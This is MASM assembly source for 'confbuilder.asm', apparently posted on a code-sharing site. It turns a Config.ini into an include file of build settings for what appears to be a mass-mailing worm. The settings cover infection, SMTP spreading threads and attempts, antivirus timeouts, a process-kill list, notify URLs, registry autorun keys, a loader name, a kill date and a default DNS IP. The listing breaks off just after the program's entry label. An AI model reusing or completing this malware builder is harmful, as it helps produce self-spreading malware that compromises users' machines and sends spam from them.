📄 confbuilder.asm
字号:
; #########################################################################
.386
.model flat, stdcall
option casemap :none ; case sensitive
; #########################################################################
.nolist
include kernel32.inc
include windows.inc
include user32.inc
include wsock32.inc
include ole32.inc
include shlwapi.inc
include oaidl.inc
include wininet.inc
include advapi32.inc
include shell32.inc
.list
includelib kernel32.lib
includelib user32.lib
includelib wsock32.lib
includelib ole32.lib
includelib shlwapi.lib
includelib wininet.lib
includelib advapi32.lib
includelib shell32.lib
; #########################################################################
szText MACRO Name, Text:VARARG
LOCAL lbl
jmp lbl
Name db Text,0
lbl:
ENDM
m2m MACRO M1, M2
push M2
pop M1
ENDM
.data?
szSections db 8192 dup(?)
szBuf db 8192 dup(?)
szStrBuf db 8192 dup(?)
szConfIniFile db 2048 dup(?)
hWriteFile dd ?
.data
dbCryptSeed db 2, 3, 4, 5, 6, 7, 8
szConfIniName db "\Config.ini",0
szOut db "Config.inc",0
szErrorHdr db "Error: ",0
szIniLoadError db "Could not load ini file",0
szMainSecton db "MainSettings",0
szFileSection db "FileNames",0
szTime1Key db "WorkUntilYear",0
szTime2Key db "WorkUntilMonth",0
szTime3Key db "WorkUntilDay",0
szConfTime1 db "WorkUntilYear equ %lu",13,10,0
szConfTime2 db "WorkUntilMonth equ %lu",13,10,0
szConfTime3 db "WorkUntilDay equ %lu",13,10,0
szPRKey db "Infect",0
szPortKey db "Port",0
szPassKey db "Password",0
szConsKey db "MaxConnections",0
szVersKey db "Version",0
szDNSHostKey db "DNSHost",0
szDNSPortKey db "DNSPort",0
szMaxSmtpTrdKey db "MaxSmtpThreads",0
szMaxSmtpAttKey db "MaxSmtpAttemps",0
szRegBaseKey db "BaseRegPath",0
szRegAutoKeyKey db "RegAutoKey",0
szFileNameKey db "LoaderName",0
szTestVerKey db "TestVersion",0
szConfTestVer db "TESTVERSION EQU 1",13,10,0
szAVSection db "AntiVirus",0
szAVTimeoutKey db "ScanTimeout",0
szNfySection db "Notify",0
szNfyUrlKey db "Url",0
szNfyTimeoutKey db "NotifyTimeout",0
szNULL db 0
szDefDNS db "217.5.97.137",0
szConfHeader db ".data",13,10,13,10,0
szConfPRUse db "DisableInfect equ TRUE",13,10,0
szConfPort db "BasePort dd %lu",13,10,0
szConfPass db 'Password dd 0%xh',13,10,0
szConfCons db 'MaxConnections equ %lu',13,10,0
szConfVers db "Ver equ %lu",13,10,0
szConfDNS db 'szDNSHost db "%s", 9 dup(0)',13,10,0
szConfDNSPrt db 'DNSPort equ %lu',13,10,0
szConfSmtpTrd db "MaxSmtpThreads equ %lu",13,10,0
szConfSmtpAtt db "MaxSmtpAttemps equ %lu",13,10,0
szConfRegBase db 'szRegBasePath db "SOFTWARE\%s",0',13,10,0
szConfRegAutoKey db 'szBglAutoKey db "%s",0',13,10,0
szConfFileName db 'szBglRealName db "\%s",0',13,10,0
szConfFileName2 db 'szBglRealNameR equ db "\%s",0',13,10,0
szConfPK db "PKTimeout equ %s",13,10,0
szConfPEntryFirst db 13,10,'Processes db "%s",0',13,10,0
szConfPEntryNext db ' db "%s",0',13,10,0
szConfPEntryLast db " db 0",13,10,0
szConfPKUse db "DisablePK equ TRUE",13,10,0
szConfPEntryFlag db 0
szConfNfyTimeout db "NotifyTimeout equ %s",13,10,0
szConfNfyUrl db 'szNfyURLFmt db "%s",0',13,10,0
szConfNfyEntryFirst db 13,10,'Hosts db "%s",0',13,10,0
szConfNfyUse db "DisableNotify equ TRUE",13,10,0
szConfNfyFlag db 0
.code
include Utils.asm
EncryptPass proc uses ebx lpPass: DWORD
invoke lstrlen, lpPass
invoke CRC32Update, eax, lpPass, eax
mov ebx, 50
@l:
invoke CRC32Update, eax, offset dbCryptSeed, 7
xor eax, ebx
dec ebx
jns @l
ret
EncryptPass endp
Write proc uses ebx lpszText: DWORD
LOCAL dwWritten: DWORD
invoke GetStdHandle, STD_OUTPUT_HANDLE
mov ebx, eax
invoke lstrlen, lpszText
mov edx, eax
invoke WriteFile, ebx, lpszText, edx, addr dwWritten, NULL
ret
Write endp
WriteLn proc lpszText: DWORD
LOCAL ln: DWORD
invoke Write, lpszText
mov ln, 0D0Ah
invoke Write, addr ln
ret
WriteLn endp
WriteStr proc Value: DWORD
LOCAL dwWritten: DWORD
invoke lstrlen, Value
xchg eax, edx
invoke WriteFile, hWriteFile, Value, edx, addr dwWritten, NULL
ret
WriteStr endp
WriteError proc lpszErrorText: DWORD
invoke Write, offset szErrorHdr
invoke WriteLn, lpszErrorText
invoke CloseHandle, hWriteFile
invoke ExitProcess, 0
ret
WriteError endp
start:
invoke CRC32BuildTable
; Get Config.ini path
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -